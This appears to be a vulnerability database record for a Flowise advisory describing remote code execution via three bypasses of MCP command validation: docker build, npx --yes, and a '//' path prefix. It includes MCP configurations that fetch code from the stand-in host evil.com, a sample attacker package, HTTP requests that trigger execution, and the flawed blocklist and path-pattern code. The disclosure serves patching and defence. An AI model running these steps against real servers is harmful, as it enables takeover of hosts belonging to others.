{"id":"CVE-2026-56274","aliases":["GHSA-m99r-2hxc-cp3q"],"url":"https://o3.security/vulnerability/CVE-2026-56274","summary":"Flowise - Remote Code Execution via MCP Security Bypass in validateCommandFlags and validateArgsForLocalFileAccess","details":"## Summary\nThere are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods\n\n## Details\n\n\n### 【Vulnerability  one】The Docker build subcommand not being on the blocklist leads to remote code execution \n\nThe attacker configures the interface through the MCP tool to provide {\"command\":\"docker\",\"args\":[\"build\",\"https://evil.com/\"]} as the Custom MCP Server configuration \n→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)\n→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it\n→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows\n2. The deployment environment has the docker command\n\nVulnerable function - validateCommandFlags: \n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:260-310\n\nconst COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {\n    docker: [\n        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',\n        '--security-opt', '--network', '--pid', '--ipc'\n        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist \n    ],\n    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],\n    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],\n    // ...\n}\nexport function validateCommandFlags(command: string, args: string[]): ValidationResult {\n    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []\n    for (const arg of args) {\n        if (blacklist.includes(arg)) {\n            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }\n        }\n    }\n    return { valid: true }\n}\n```\n\nReproduction process:\n\nAdd MCP config via UI or API interface, for example: \n\n<img width=\"1280\" height=\"414\" alt=\"2f0b6dfad5458616781921e1c28339d0\" src=\"https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599\" />\n\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\nAfter execution, the command can be triggered to execute docker build http://evil.com \n\n<img width=\"1280\" height=\"319\" alt=\"f98e1d91428be6077ac6cf0472285f17\" src=\"https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0\" />\n\nIf a privileged container is deployed, then it can fully control the Flowise host machine \n\n### 【Vulnerability  two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution\n\nThe attacker configures the MCP tool to provide {\"command\":\"npx\",\"args\":[\"--yes\",\"malicious-package\"]} \n→ validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes\n→ npx --yes malicious-package automatically agrees to install and execute any npm package\n→ Leads to remote code execution (RCE) on the server \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows\n2. The deployment environment has the npx command\n\nnpx blocklist:\n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:270-280\n\nnpx: ['-c', '--call', '--shell-auto-fallback', '-y'],\n//    Only the short parameter -y is present, without the long parameter alias --yes\n```\n\nReproduction process:\nAdd MCP config via UI or API interface, for example: \n\n<img width=\"1910\" height=\"690\" alt=\"85ea14ea224df9ed501827dfa47afb09\" src=\"https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6\" />\n\n```\n{\n  \"command\": \"npx\",\n  \"args\":[\"--yes\", \"http://evil.com/FileName.tar\"]\n}\n```\n\nContents of the tar file:\n\n```\n// index.js\n#!/usr/bin/env node\nconst http = require('http');\nconst { execSync } = require('child_process');\n\nconst result = execSync('id && hostname').toString().trim();\nconsole.error('[MCP-RCE-002] npx --yes bypass: ' + result);\n\n// package.json\n{\n  \"name\": \"attacker-mcp-pkg\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"attacker-mcp-pkg\": \"./index.js\"\n  },\n  \"scripts\": {\n    \"postinstall\": \"\"\n  }\n}\n```\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\ncan trigger the vulnerability, execute the attacker's commands, and achieve RCE:\n\n<img width=\"3026\" height=\"256\" alt=\"4c466067deb4606a38e4b73806661328\" src=\"https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9\" />\n\n### node command bypassing local file restrictions leads to remote code execution\n\nWhen configuring the CustomMCP node, the attacker provides {\"command\":\"node\",\"args\":[\"local file\"]} \n→ Bypass the security restrictions of validateArgsForLocalFileAccess \n→ Node process loads local files and executes arbitrary code → RCE \n\nPrecondition: \nHave a Flowise account \n\nAnalysis of Vulnerable Code:\n\n```\n// packages/components/nodes/tools/MCP/core.ts:177-220\n\nexport const validateArgsForLocalFileAccess = (args: string[]): void => {\n    const dangerousPatterns = [\n        // Absolute paths\n        /^\\/[^/]/, // Unix absolute paths starting with /\n        /^[a-zA-Z]:\\\\/, // Windows absolute paths like C:\\\n\n        // Relative paths that could escape current directory\n        /\\.\\.\\//, // Parent directory traversal with ../\n        /\\.\\.\\\\/, // Parent directory traversal with ..\\\n        /^\\.\\./, // Starting with ..\n\n        // Local file access patterns\n        /^\\.\\//, // Current directory with ./\n        /^~\\//, // Home directory with ~/\n        /^file:\\/\\//, // File protocol\n\n        // Common file extensions that shouldn't be accessed\n        /\\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,\n\n        // File flags and options that could access local files\n        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,\n        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i\n    ]\n```\n\nThe above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression \"/^\\/[^/]/\" has a matching issue \n\nAs the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/') \n\n<img width=\"1280\" height=\"570\" alt=\"ea354264cbb2ace6a3a6a16e00f1d298\" src=\"https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a\" />\n\nTherefore, the limitation of this function can be bypassed by starting with //\n\n** Reproduction process: **\n\nCreate a new chatflow as follows:\n\n<img width=\"1280\" height=\"716\" alt=\"7e884613b5897509b39467f8f3b7aae1\" src=\"https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92\" />\n\nAfter saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory\n\norgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:\n\n<img width=\"1280\" height=\"702\" alt=\"48b5ab8412babba312f502be5db1dad3\" src=\"https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b\" />\n\nFor example: \n```\n~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\n```\n\nSince paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:\n\n<img width=\"1280\" height=\"716\" alt=\"990e1c81ed3957c5ae823e55efec15a5\" src=\"https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99\" />\n\n```\nPOST /api/v1/export-import/import  HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 479\n\n {\n    \"ChatMessage\": [\n      {\n        \"id\": \"11111111-2222-4333-8444-555555555555\",\n        \"role\": \"userMessage\",\n        \"chatflowid\": \"{chatflow_id}\",\n        \"content\": \"seed for home path test\",\n        \"chatType\": \"EXTERNAL\",\n        \"chatId\": \"audit-home-001\",\n        \"createdDate\": \"2026-03-04T06:40:00.000Z\",\n        \"fileUploads\": \"[{\\\"type\\\":\\\"stored-file\\\",\\\"name\\\":\\\"poc.txt\\\",\\\"mime\\\":\\\"text/plain\\\"}]\"\n      }\n    ]\n  }\n```\n\n\n<img width=\"1280\" height=\"748\" alt=\"d7f947940f4e6b6e95a61bcc301c25c0\" src=\"https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10\" />\n\n```\nPOST /api/v1/export-import/chatflow-messages HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 57\n\n{\"chatflowId\":\"{chatflow_id}\"}\n\n```\n\nAfter obtaining the absolute path, simply modify the path in args to the path of the file name: \n\n```\n  {\n    \"command\": \"node\",\n    \"args\": [\"//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\"]\n  }\n```\n\nAfter saving, execution will trigger RCE \n\n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\n## Impact\n\nThis vulnerability allows attackers to execute arbitrary commands on the Flowise server .","published":"2026-06-23T12:13:00.703Z","modified":"2026-08-12T03:51:10.987762306Z","cvss":null,"epss":{"score":0.07521,"percentile":0.9402,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"flowise","fixedVersion":"3.1.2"},{"ecosystem":"npm","name":"flowise-components","fixedVersion":"3.1.2"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56274.json"},{"type":"ADVISORY","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-m99r-2hxc-cp3q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56274"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/flowise-remote-code-execution-via-mcp-security-bypass-in-validatecommandflags-and-validateargsforlocalfileaccess"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:10.987762306Z"}}